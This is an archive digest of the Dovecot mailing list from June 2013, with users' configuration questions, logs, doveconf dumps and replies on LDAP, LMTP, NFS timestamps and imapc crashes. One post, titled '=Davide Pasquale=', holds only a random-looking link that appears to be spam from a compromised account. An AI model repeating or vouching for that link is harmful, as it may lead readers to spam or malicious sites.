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[Dovecot] Dovecot and time (again)
by Rick Romero 05 Jun '13

05 Jun '13

I'm rehashing/reliving my issues from 2010: http://www.dovecot.org/list/dovecot/2010-October/053528.html In short, when calling deliver from vdelivermail (or procmail), and delivering via NFS to Maildir, the timestamp on the file is GMT. If procmail or vdelivermail completely handle the email, the timestamp is CST. The server is set to CST. What's changed from the original issue? Previously was running dovecot 1.x on FreeBSD, now 2.1.7 on Debian 7. I know it's a few versions behind, but this is a deliver only server, and ChangeLog doesn't show too many fixes for lda. Of course, running the command from the command line works perfectly... So where could my problem reside? Two examples: 1st via Calling from procmail: :0 * ? test -f /usr/lib/dovecot/dovecot-lda { :0w |/usr/lib/dovecot/deliver -d $EXT@$HOST } -rw------- 1 vpopmail vchkpw 87196 Jun 5 13:43 1370439849.M812P29560.smtp101,S=87196,W=88094 2nd via Commandline: #sudo -u vpopmail cat /tmp/testmail.txt | /usr/lib/dovecot/deliver -d rick(a)havokmon.com -rw------- 1 vpopmail vchkpw 27740 Jun 5 08:46 1370440001.M421646P29846.smtp101,S=27740,W=28243 I've thrown the TZ variable in the mix as well with no resolution |/usr/bin/env -i TZ=CST /usr/lib/dovecot/deliver -d $EXT@$HOST |/usr/bin/env -i TZ=America/Chicago /usr/lib/dovecot/deliver -d $EXT@$HOST I've also set import_environment = TZ , but it doesn't seem to show in dovecot -n ... Any other thoughts? Side note - deliver behavior has changed since 1.x. I used to be able to specifiy the HOME directory, but now deliver requires the -d parameter, so I've had to setup an Auth server where I didn't have to in the past. Am I the only one who doesn't run my servers in GMT? I seem to only find my own posts when searching on this :) Rick

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[Dovecot] valid folder name
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

We have a quite large user base, with lots of bad folder names because the mail folders was earlier accessible outside of dovecot. Now we're running dsync conversions from maildir to mdbox for all users, but are struggelig a bit with dsync not liking invalid folder names. Before we convert a user we try to determine if the folder names are valid, but we don't have a very good regexp for validating it. Maybe someone else knows a way to verify (and fix?) folder names that are invalid. The rules I know is: - name doesn't start with '.' or '~' (after the initial '.') - name doesn't end with '.' - the name doesn't contain '..' - the name is valid mUTF7 So, any regexp gurus that can distill those rules down to something usable? -jf -- Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. -jwz

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[Dovecot] Make install error
by kengheng 05 Jun '13

05 Jun '13

Hi, I'm recompiling dovecot 2.2.0/2.2.1 with error below during make install: test -z "/usr/local/dovecot/lib/dovecot/auth" || /usr/bin/mkdir -p "/usr/local/dovecot/lib/dovecot/auth" /usr/bin/mkdir: cannot create directory ‘/usr/local/dovecot/lib/dovecot/auth’: File exists make[3]: *** [install-auth_moduleLTLIBRARIES] Error 1 make[3]: Leaving directory `/usr/local/src/dovecot-2.2.1/src/auth' make[2]: *** [install-am] Error 2 make[2]: Leaving directory `/usr/local/src/dovecot-2.2.1/src/auth' make[1]: *** [install-recursive] Error 1 make[1]: Leaving directory `/usr/local/src/dovecot-2.2.1/src' make: *** [install-recursive] Error 1 The target Svr OS: OpenSuse 12.2 x86 and installed success for qmail/vpopmail. The configuration for dovecot as below: ./configure \ --prefix=/usr/local/dovecot \ --with-vpopmail \ --with-docs \ --with-ssl \ --without-shadow \ --without-pam \ --without-ldap \ --without-pgsql \ --without-sql \ --without-mysql \ --without-sqlite Thanks, KH. Chan

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[Dovecot] Director in v2.2.2
by Joe Wong 05 Jun '13

05 Jun '13

Hi, I am going to try and study Dovecot with Director in v2.2.2, would like to confirm the Director bundled there is the latest version, as I saw #define DIRECTOR_VERSION_NAME "director" #define DIRECTOR_VERSION_MAJOR 1 #define DIRECTOR_VERSION_MINOR 3 in director.h thanks, - Joe

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[Dovecot] Support not compiled in for passdb driver 'pam' + telnet localhost imap.
by Maria Jose Yañez Dacosta 05 Jun '13

05 Jun '13

Hi!, I Install dovecot version 2.1.16 on CentOS 6.4 x86_64. When I try to test the installation (by telnet localhost imap) the following error occurs: "auth: Fatal: Support not compiled in for passdb driver 'pam'". I do not discover what caused this. Here I leave the configuration data and the log. Thanks ------------------------------------ / var / log / maillog --------------------------------------- May 31 15:45:55 prueba-mail dovecot: master: Dovecot v2.1.16 starting up (core dumps disabled) May 31 15:46:04 prueba-mail dovecot: auth: Fatal: Support not compiled in for passdb driver 'pam' May 31 15:46:04 prueba-mail dovecot: master: Error: service(auth): command startup failed, throttling for 2 secs May 31 15:46:04 prueba-mail dovecot: imap-login: Disconnected: Auth process broken (disconnected before greeting, waited 0 secs): user=<>, rip=::1, lip=::1, secured, session=<jabyBgjevAAAAAAAAAAAAAAAAAAAAAAB> ------------------------------------ doveconf-n -------------------------------------------------- # 2.1.16: /usr/local/etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_use_winbind = yes namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } passdb { driver = pam } protocols = imap pop3 ssl = no userdb { args = uid=10000 gid=10000 home=/mail/%d/%n allow_all_users=yes driver = static } -- Maria José

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[Dovecot] Fw: Cannot Authenticate via LDAP
by Christian Wiese 04 Jun '13

04 Jun '13

Hello Christian, I tried what you suggested by adding "REFERALS off" to /etc/ldap/ldap.conf and restarting slapd and dovecot, but the error persists. On Tue, Jun 4, 2013 at 7:56 AM, Christian Wiese < christian.wiese(a)securepoint.de> wrote: > Hi Ron, > > I didn't had the time to check all logs but the error log. > First thing you should check if there are LDAP REFFERALS enabled in > the systems ldap.conf. > I had a similar looking issue and it took me a good amount of time to > figure out that I had to disable LDAP REFFERALS globally. > This happened when using an AD as LDAP backend, but also applies to > Samba4 as you can see in the following mailing list thread: > > > http://dovecot.markmail.org/message/mjurv4fp4w65u2ib?q=Dovecot+LDA+LDAP+loo… > > The settings within the systems ldap.conf might influence dovecot, > because libldap (openldap) functions might read the global ldap.conf > settings. > > Hope that helps. > > Cheers, > Chris > > Am Tue, 4 Jun 2013 05:50:16 -0400 > schrieb Ron Scott-Adams <ron(a)tohuw.net>: > > > a login tohuw [myPassword] returns "NO [AUTHENTICATIONFAILED] > > Authentication failed." I believe I'm missing a configuration > > detail, but what? > > > > > > info.log: http://pastebin.ca/2388873 > > > > debug.log: http://pastebin.ca/2388872 > > > > error.log: http://pastebin.ca/2388871 > > > > dovecot -n: http://pastebin.ca/2388870 > > > > dovecot-ldap.conf.ext summary: http://pastebin.ca/2388867 > >

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[Dovecot] Administrative mailbox deletions
by Alan Brown 04 Jun '13

04 Jun '13

I'm in the process of nuking a bunch of dead mailboxes after they've been migrated to other servers - but the accounts have been kept. A simple shell script takes care of most of it, BUT.... (there's always a "but" isn't there?) One user has named all his mailboxes with leading hyphens. ie: -foo -bar -bazz and "doveadm mailbox delete" doesn't like it. Does anyone have the magic sauce needed to escape the - character? Thanks in advance Alan

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[Dovecot] Cannot Authenticate via LDAP
by Ron Scott-Adams 04 Jun '13

04 Jun '13

a login tohuw [myPassword] returns "NO [AUTHENTICATIONFAILED] Authentication failed." I believe I'm missing a configuration detail, but what? info.log: http://pastebin.ca/2388873 debug.log: http://pastebin.ca/2388872 error.log: http://pastebin.ca/2388871 dovecot -n: http://pastebin.ca/2388870 dovecot-ldap.conf.ext summary: http://pastebin.ca/2388867

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Re: [Dovecot] Administrative mailbox deletions
by Alan Brown 04 Jun '13

04 Jun '13

>> and "doveadm mailbox delete" doesn't like it. >> >> Does anyone have the magic sauce needed to escape the - character? > > An "escaping" that works at the *nix level (not necessarily with > doveadm, but I would assume it works there too) is, e.g., > > rm -- -foo > > i.e., double dashes to nullify the "-" option flag, followed by the > filename. That does work. Thanks. Alan

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[Dovecot] Imap Server as storage backend for dovecot
by Micha Krause 04 Jun '13

04 Jun '13

Hi, I remember reading about the possibility to configure a namespace to point to another imap server (not dovecot) and use it as a backend for storing mails. However, I could not find any documentation about this, so Im not sure if I remember correctly. Micha Krause

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[Dovecot] recursive mail_location?
by Eric Abrahamsen 04 Jun '13

04 Jun '13

Forgive what may be a newby question, but I'm trying to get a new setup working, and there are many different things confusing me. I'm trying for a gnus + dovecot + mbsync arrangement, with mbsync writing to maildirs, and gnus reading from those dirs with a dovecot invocation. Fairly standard, I think. I have multiple email accounts I'm trying to sync, all of them gmail. My problem is that mbsync creates one maildir structure for each mailbox in each account. So I end up with: ~/mail ├── acc1 │ ├── INBOX │ │ ├── cur │ │ ├── new │ │ └── tmp │ └── OTHERBOX │ ├── cur │ ├── new │ └── tmp └── acc2 ├── INBOX │ ├── cur │ ├── new │ └── tmp └── OTHERBOX ├── cur ├── new └── tmp And so on, for many accounts, and many mailboxes. I believe there's something I can configure in mbsync to collapse this a little, but there's still going to be quite a bit of nesting. Gnus, meanwhile, is meant to invoke dovecot with the "-o mail_location" switch, and as far as I can tell that needs to be pointed at a maildir structure, which means I would need a separate gnus server for each mailbox in each account. Does anyone have a recommended way of handling this? Is it possible to either "flatten" the structure further, or somehow tell dovecot to recurse into directories? I don't mind having a separate gnus server for each mail account, but I'd hate to have to do one per mailbox. I'm only just getting started and haven't invested myself in any particular setup, so if the answer is "you're doing it all wrong", I would love to hear that. Thanks! Eric

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[Dovecot] Configuration advice needed.
by Olivier Girard 03 Jun '13

03 Jun '13

Hello, First, thanks for this great piece of software. I'm new to dovecot and i've just converted my old courier configuration on pop/imap server side, everithing is working just fine on this side and speed gain expected was found (not enough for our busy servers :). Setup is done with 3 dovecot virtual servers load balanced with a Hardware load balancer (this part is a big point of the question). Postfix and dovecot servers use an NFS share on a NetApp for mail, Postfix servers are writting directly to inbox maildirs. Load balanced is maintaining afinity betwen client and server so i've got no problem with this for the moment. Now, i want to setup postfix (3 HW load balanced) for local delivery with LMTP on deovecot servers, and here come my questions. Afinity can't be maintained between IMAP and LMTP for a user with my load balancer so mail can be delivered on dovecot01 and read on dovecot02, from what i've read this can be an issue with indexes. I think i need to setup a director to maintain LMTP and IMAP afinity between users and servers but on imap servers i'm identifying user with their UID, and LMTP need to see emails. Does dovecot see the same user or 2 users with the same homedir? So my question is: could you point me to the right direction with this setup, do you have any advice on this config. Actual configurations: (postlogin not in real use, just a touch on (imap/pop3)_last_login) POP/IMAP server: dovecot01# doveconf -n # 2.1.15: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_cache_negative_ttl = 0 auth_cache_size = 10 M auth_mechanisms = plain login auth_verbose = yes default_client_limit = 1500 default_process_limit = 500 default_vsz_limit = 1 G disable_plaintext_auth = no dotlock_use_excl = no lock_method = dotlock mail_fsync = always mail_gid = vmail mail_location = maildir:%h/Maildir:INDEX=/mail_index%h mail_nfs_index = yes mail_nfs_storage = yes mail_plugins = " stats" mail_uid = vmail mmap_disable = yes namespace { inbox = yes location = prefix = INBOX. separator = . } passdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { stats_refresh = 30 secs stats_track_cmds = yes } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } user = $default_internal_user } service imap-postlogin { executable = script-login /usr/local/bin/imap-postlogin.sh user = vmail } service imap { executable = imap imap-postlogin process_limit = 1024 } service pop3-postlogin { executable = script-login /usr/local/bin/pop3-postlogin.sh user = vmail } service pop3 { executable = pop3 pop3-postlogin process_limit = 1024 } service stats { fifo_listener stats-mail { mode = 0600 user = vmail } } ssl_cert = </etc/ssl/cert/mail.univ-angers.fr.pem ssl_key = </etc/ssl/cert/mail.univ-angers.fr.key userdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocol imap { mail_plugins = " stats imap_stats" } Postfix Test Server: %doveconf -n # 2.1.15: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_debug = yes auth_mechanisms = plain login auth_verbose = yes default_client_limit = 1500 default_process_limit = 500 default_vsz_limit = 512 M disable_plaintext_auth = no dotlock_use_excl = no lock_method = dotlock mail_fsync = always mail_gid = vmail mail_location = maildir:%h/Maildir:INDEX=/mail_index%h mail_nfs_index = yes mail_nfs_storage = yes mail_uid = vmail mmap_disable = yes namespace { inbox = yes location = prefix = INBOX. separator = . } passdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocols = lmtp service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { user = vmail } user = $default_internal_user } service imap-postlogin { executable = script-login /usr/local/bin/imap-postlogin.sh user = vmail } service imap { executable = imap imap-postlogin process_limit = 1024 } service lmtp { inet_listener lmtp { address = * :: port = 24 } process_min_avail = 20 user = vmail } service pop3-postlogin { executable = script-login /usr/local/bin/pop3-postlogin.sh user = vmail } service pop3 { executable = pop3 pop3-postlogin process_limit = 1024 } ssl_cert = </etc/ssl/cert/mail.univ-angers.fr.pem ssl_key = </etc/ssl/cert/mail.univ-angers.fr.key userdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } File dovecot-ldap.conf.ext uris = ldap://ldap.uang dn = cn=acces-smtp, ou=access, dc=univ-angers, dc=fr dnpass = ********** base = ou=people, dc=univ-angers, dc=fr user_attrs = homeDirectory=home user_filter = (&(|(uid=%u) (mail=%u) (auaAliasEmail=%u))(|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso)(auaStatut=perso-sortant))) pass_attrs = uid=user,userPassword=password pass_filter = (&(|(uid=%u) (mail=%u) (auaAliasEmail=%u)) (|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso) (auaStatut=perso-sortant))) iterate_attrs = uid=user iterate_filter = (|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso)(auaStatut=perso-sortant)) default_pass_scheme = MD5-CRYPT

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[Dovecot] An unconstructive grumble
by dd 03 Jun '13

03 Jun '13

5 hours of configuration attempts, error after confusing error, documentation with examples that only show extracts of working configurations. I really feel like throwing in the towel with dovecot. It should not be this hard and frankly almost impossible to understand and configure for such an incedibly simple configuration. /home/vmail/domain.name/username/cur /home/vmail/domain.name/username/new /home/vmail/domain.name/username/tmp 3 virtual users. All I want is a username and password to access my email. I have to have hit every error and problem there can be. No response at all from server, unable to find password file, unable to recognise user, invalid password. God it went on and on and on for five or more hours. For such a simple config. I know this is a totally unconstructive complaint and I should be taking the time to set out a careful explanation of my problem along with errors and logfiles but I just can't be bothered. I've tried so many many configurations and options and nothing works. How can it possibly be this hard to ghet some emails off the server with simple username/password configurations. Go ahead and flame me to a crisp. -- View this message in context: http://dovecot.2317879.n4.nabble.com/An-unconstructive-grumble-tp42598.html Sent from the Dovecot mailing list archive at Nabble.com.

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[Dovecot] Settings: Dovecot + NTLM + Single Sing On + Windows + Outlook or Thunderbird.
by Maria Jose Yañez Dacosta 03 Jun '13

03 Jun '13

I am following the steps listed in: http://wiki.dovecot.org/HowTo/ActiveDirectoryNtlm My goal is to have single sign-on for Microsoft Outlook applications. I working and I have some doubts since I never set up an imap server, hope I can help :). The version that I have installed is devecot 2.0.9. "dovecot -n" shows the following: # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-71.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_use_winbind = yes mbox_write_locks = fcntl passdb { driver = pam } protocols = imap pop3 ssl = no userdb { args = uid=10000 gid=10000 home=/mail/%d/%n driver = static } I show what I have in /etc/samba/smb.conf [global] workgroup = EJEMPLO realm = EJEMPLO.COM.UY server string = %h (Samba %v) security = ADS password server = ad.domain.dom username map = /etc/samba/mapeousuarios map untrusted to domain = Yes syslog = 0 log file = /var/log/samba/log.%m max log size = 1000 name resolve order = wins host bcast local master = No domain master = No dns proxy = No wins server = here active directory ip panic action = /usr/share/samba/panic-action %d winbind separator = + winbind use default domain = Yes winbind rpc only = Yes idmap config * : range = 1200-3000 idmap config * : backend = tdb [usuarios3] path = /exports/archivos-usuarios read only = No map acl inherit = Yes store dos attributes = Yes "wbinfo -g" and "wbinfo -u" work well. kinit Administrator work well also. Some steps of the configuration in dovecot.conf does not recognize: 1) "protocols = imap imaps pop3 pop3s". 2) "mechanisms = plain ntlm login". 3) "allow_all_users=yes" y "mail=maildir:/home/vmail/%d/%1Ln/%Ln:INBOX=/home/vmail/%d/%1Ln/%Ln". I'm not sure I should put in place. I also have some doubts: 1) I have to create a keytab file containing the principal for imap and pop?, as it would indicate Dovecot?. 2) That should indicate values uid y el gid? 3) I have to set something in pam? if I make "telnet localhost imap" shows the following: OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready NTLM not appears in the options. I hope I can shed some light on the subject :) Thanks and greetings. -- Maria José

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[Dovecot] =Davide Pasquale=
by Davide Pasquale 02 Jun '13

02 Jun '13

http://archiv.isusice.eu/ewcyozyg/fltdigdpmijtefzkeuuepzdutvxu.hnfzuk

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Re: [Dovecot] MS asks for feedback on standards support in Outlook/Exchange
by Robert Schetterer 01 Jun '13

01 Jun '13

Am 01.06.2013 13:40, schrieb Timo Sirainen: > On 1.6.2013, at 9.35, Robert Schetterer <rs(a)sys4.de> wrote: > >> Am 01.06.2013 00:28, schrieb Timo Sirainen: >>> Someone should at least mention that they should support the real SPECIAL-USE instead of just Gmail-specific XLIST.. >> >> i cant see any major Problems recent with i.e outlook 2013 and dovecot >> and SPECIAL-USE, perhaps look the screens at > > What about http://dovecot.org/list/dovecot/2013-May/090489.html ? > --- Outlook 2013 is only working when adding XLIST manually to imap_capability imap_capability = +XLIST --- i dont have this on my servers, and outlook 2013 works with special use as expected perhaps this helps http://social.technet.microsoft.com/Forums/de-DE/officeitpro/thread/eacaa11… --- You're welcome. Regarding your questions: Exchange 2010 and its supported (and unsupported and deviations from) IMAP standards are described on MS-STANXIMAP (MSDN). As far as I can tell, neither XLIST nor the enhanced (=extension of the standard) version of LIST is supported. Please keep in mind that this wouldn't matter very much, since most would connect to an Exchange 2010 server using either ActiveSync or MAPI/RPC. The following scenarios would definitely work: (A) your provider allows connections using ActiveSync (often referred to as "mobile" connection/access) and you're using Outlook 2013, (B) your provider allows connections using MAPI/RPC and you're using Outlook 2010. Outlook 2013 supports the extension specified in RFC 6154 and implements it using the XLIST command (as per MS-STANOIMAP), as documented in MS-STANOIMAP part 2.2.38; however, the LIST command in the same document doesn't mention the extension, so I'd assume it (Outlook 2013) doesn't necessarily support this feature using LIST as specified per RFC6154 (but only using explicitly XLIST.) Usually, any newer IMAP server supporting RFC6154 "LIST" ("XLIST") supports both the older XLIST as well as the newer LIST syntax. If it doesn't, a patch implementing this feature shouldn't be longer than a few (10 maybe?) lines of code and a few kind words to the developer team to get it into the next release of the server in question. --- http://msdn.microsoft.com/en-us/library/ee624430%28v=exchg.80%29.aspx ----------- V0061: The specification describes how to define an experimental command or any command that is not part of the specification. Microsoft Office Outlook 2007, Microsoft Outlook 2010 Outlook does not define any such commands. Microsoft Outlook 2013 Outlook 2013 implements the IMAP LIST extension specified in [RFC6154] as the XLIST command. --------------- so it may more a typical microsoft doku problem *g but however ,in fact no working trouble with dovecot SPECIAL-USE as far i remmeber to that list posting the problem whas there should get fixed was outlooks meaning of the Junk folder stuff, which is basicly done in another way by having its own antispam feature setup, so there are a few way to workaround that problem which i never tested and never will. My simple answer always is, Outlook is the client of exchange, with few stuff supporting normal internet mail ( imap etc ), dont use it with internet mail or live with its problems for notice Horde will implement Outlook 2013 complete active sync stack , so if that will happen, use active sync modus outlook 2013 with calender, abook, push mail , should no need for direct imap server con then, and it should "feel" like using exchnage ( but i think for one account only ), as horde has caldav and carddav , syncml too it can be used as middleware between many clients on many different os types i.e thunderbird lightning and k9 or native androids mail clients in exchange mode Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein

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[Dovecot] v2.2.2 (7b1152c83e3e) latest changes break LMTP
by Thomas Leuxner 01 Jun '13

01 Jun '13

Suppose this one breaks it: http://hg.dovecot.org/dovecot-2.2/rev/c4a85c9df948 ==> /var/log/mail.log <== Jun 1 14:01:30 spectre postfix/lmtp[456]: 3bN0qP5kwFzSy: to=<tlx(a)leuxner.net>, relay=spectre.leuxner.net[private/dovecot-lmtp], delay=1481, delays=1481/0/0.01/0.01, dsn=4.3.0, status=deferred (host spectre.leuxner.net[private/dovecot-lmtp] said: 451 4.3.0 <tlx(a)leuxner.net> Temporary internal error (in reply to end of DATA command)) ==> /var/log/dovecot/dovecot.log <== Jun 1 14:01:30 spectre dovecot: lmtp(523): Error: Can't open delivery mail as raw: Invalid mailbox name: Name is empty Regards Thomas

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[Dovecot] real and virtual users
by devocotml＠fuckaround.org 01 Jun '13

01 Jun '13

Hi all! I use debian with real users (pam) and virtual users: I receive mail from virtual users but not from real users. Real users can connect and do login but no email received :-( Any idea? thanks! dovecot -n # 1.2.15: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-5-686 i686 Debian 6.0.7 log_path: /var/log/dovecot.log log_timestamp: %Y-%m-%d %H:%M:%S protocols: pop3s ssl_cert_file: /etc/dovecot/ssl/dovecotpop.crt ssl_key_file: /etc/dovecot/ssl/dovecotpop.key login_dir: /var/run/dovecot/login login_executable: /usr/lib/dovecot/pop3-login mail_location: maildir:~Maildir mbox_write_locks: fcntl dotlock mail_executable: /usr/lib/dovecot/pop3 mail_plugin_dir: /usr/lib/dovecot/modules/pop3 lda: auth_socket_path: /var/run/dovecot/auth-master postmaster_address: max(a)nuvolabianca.org mail_plugins: sieve log_path: /var/log/dovecot-lda.log log_path: auth default: mechanisms: plain login verbose: yes passdb: driver: passwd-file args: scheme=SHA256 /etc/dovecot/v_users.conf passdb: driver: pam userdb: driver: static args: uid=5000 gid=5000 home=/home/vhosts/%d/%n allow_all_users=yes socket: type: listen client: path: /var/spool/postfix/private/auth mode: 432 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 384 user: vmail group: vmail

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[Dovecot] Fwd: MS asks for feedback on standards support in Outlook/Exchange
by Timo Sirainen 01 Jun '13

01 Jun '13

Someone should at least mention that they should support the real SPECIAL-USE instead of just Gmail-specific XLIST.. Begin forwarded message: > From: Andrew Laurence <atlauren(a)me.com> > Subject: [imapext] MS asks for feedback on standards support in Outlook/Exchange > Date: 1. kesäkuuta 2013 1.18.42 UTC+3.00 > To: HIED-EMAILADMIN(a)LISTSERV.ND.EDU, windows-hied(a)lists.stanford.edu, office365(a)ucdavis.edu, imapext(a)ietf.org > > Hello everyone, > > Forgive the massive list cross-posting, but I thought this noteworthy enough to spread around. > > Via their Openness@Microsoft blog, Microsoft invites input on their standards support in Outlook and Exchange. I'm sure they'd like to hear thoughtful, detailed, insightful responses from the customer world at large. > http://blogs.technet.com/b/openness/archive/2013/05/31/feedback-exchange-se… > > Cheers, > Andrew > -- > Andrew Laurence Office of Information Technology > atlauren(a)uci.edu University of California, Irvine > atlauren(a)me.com (Lists) > > _______________________________________________ > imapext mailing list > imapext(a)ietf.org > https://www.ietf.org/mailman/listinfo/imapext

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[Dovecot] dovecot-lmtp does not work
by He Shiming 01 Jun '13

01 Jun '13

Dear Community, I've got a weird problem regarding lmtp setup with dovecot 2.0.19 on ubuntu 12.04.2 LTS. My reference of the configuration is at https://library.linode.com/email/postfix/postfix2.9.6-dovecot2.0.19-mysql , and my configuration is identical to it with the exception of opening the 110 pop3 port, and enabling plain text auth. Everything from imap, smtp, pop3 (including auth) works except for lmtp. I saw thousands of the following messages in /var/log/mail.log: May 31 09:05:24 postfix/lmtp[3664]: 2FD80321F4: to=<myaddress(a)me.com>, relay=none, delay=0.41, delays=0.41/0/0/0, dsn=4.4.1, status=deferred (connect to me.com[private/dovecot-lmtp]: No such file or directory) And it happens when an incoming email is received. Here's the output of configuration: root@prosp:/etc/dovecot/conf.d# dovecot -n # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 3.8.4-linode50 i686 Ubuntu 12.04.2 LTS ext3 auth_mechanisms = plain login disable_plaintext_auth = no mail_location = maildir:/var/mail/vhosts/%d/%n mail_privileged_group = mail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = imap pop3 sieve service auth-worker { user = vmail } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener /var/spool/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { mode = 0600 user = vmail } user = dovecot } service imap-login { inet_listener imap { port = 0 } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0600 user = postfix } } service pop3-login { inet_listener pop3 { port = 110 } } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_cipher_list = ALL:!LOW:!SSLv2:ALL:!aNULL:!ADH:!eNULL:!EXP:RC4+RSA:+HIGH:+MEDIUM ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=vmail gid=vmail home=/var/mail/vhosts/%d/%n driver = static } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 10 } protocol pop3 { mail_max_userip_connections = 10 pop3_client_workarounds = outlook-no-nuls oe-ns-eoh } protocol lda { deliver_log_format = msgid=%m: %$ mail_plugins = sieve postmaster_address = postmaster quota_full_tempfail = yes rejection_reason = Your message to <%t> was automatically rejected:%n%r } This problem has been discussed here: http://serverfault.com/questions/512219/dovecot-lmtp-does-not-exist . I've then tried switching from unix socket to inet listener, and still got the same result. I cannot get lmtp service to start. I'm also seeing no errors in the log when dovecot is restarted (see the above link for the log). I'm wondering how do I go about troubleshooting this problem? What might be the possible cause? Is it possible for dovecot to output verbose logs regarding service startups? Thank you. -- Best regards, He Shiming *Kaoya.me <http://kaoya.me> | Goals.io<http://itunes.apple.com/us/app/goals.io-realize-your-dreams/id496228828?ls=…> | Toppin'Wiper <https://itunes.apple.com/app/toppinwiper/id553527232?mt=8> | MediaMan <http://www.imediaman.com>*

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[Dovecot] imapc "moving email to another folder" crashes
by Michael Miller 01 Jun '13

01 Jun '13

Hello List, I am having the same problem with dovecot 2.2.1 on RHEL and dovecot 2.2.2 on FreeBSD and the imapc proxy. moving eMail from one folder to another folder. the error is reproducible. Logfile RHEL/Dovecot 2.2.1: May 31 19:57:45 imap(mail(a)--------.com): Panic: file mail-storage.c: line 2100 (mailbox_copy): assertion failed: (!ctx->unfinished) May 31 19:57:45 imap(mail(a)--------.com): Error: Raw backtrace: /usr/lib64/dovecot/libdovecot.so.0(+0x5f68a) [0x7fd60b76a68a] -> /usr/lib64/dovecot/libdovecot.so.0(+0x5f6d6) [0x7fd60b76a6d6] -> /usr/lib64/dovecot/libdovecot.so.0(+0x1fffa) [0x7fd60b72affa] -> /usr/lib64/dovecot/libdovecot-storage.so.0(+0x792f2) [0x7fd60ba402f2] -> dovecot/imap() [0x40bebb] -> dovecot/imap(command_exec+0x3d) [0x41502d] -> dovecot/imap() [0x414190] -> dovecot/imap() [0x41427d] -> dovecot/imap(client_handle_input+0x11d) [0x4144fd] -> dovecot/imap(client_input+0x6f) [0x41486f] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_call_io+0x36) [0x7fd60b7799d6] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_handler_run+0xa7) [0x7fd60b77aa87] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_run+0x28) [0x7fd60b779978] -> /usr/lib64/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fd60b72fa63] -> dovecot/imap(main+0x2a9) [0x41dcf9] -> /lib64/libc.so.6(__libc_start_main+0xfd) [0x7fd60b396cdd] -> dovecot/imap() [0x40a579] May 31 19:57:45 imap(mail(a)--------.com): Fatal: master: service(imap): child 27742 killed with signal 6 (core dumped) Logfile FreeBSD / Dovecot 2.2.2: May 31 19:53:41 imap(mail(a)--------.com): Panic: file mail-storage.c: line 2105 (mailbox_copy): assertion failed: (!ctx->unfinished) May 31 19:53:41 imap(mail(a)--------.com): Fatal: master: service(imap): child 2077 killed with signal 6 (core not dumped) the configuration is more or less the same on both: # 2.2.1: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_mechanisms = plain login first_valid_uid = 97 imapc_host = imap.upstreamserver.com log_path = /var/log/dovecot.log mail_gid = dovecot mail_home = /clusterdata2/imapcache/%u mail_location = imapc:~/imapc mail_uid = dovecot passdb { args = host=imap.upstreamserver.com default_fields = userdb_imapc_user=%u userdb_imapc_password=%w driver = imap } protocols = imap service auth { unix_listener auth-client { mode = 0666 user = dovecot } } service imap { drop_priv_before_exec = yes } ssl_cert = </etc/ssl/imap-myserver-de.crt ssl_key = </etc/ssl/imap_myserver-de.key userdb { driver = prefetch } and finally the coredump from RHEL/Dovecot 2.2.1: # gdb /usr/libexec/dovecot/imap core GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6_4.1) Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later 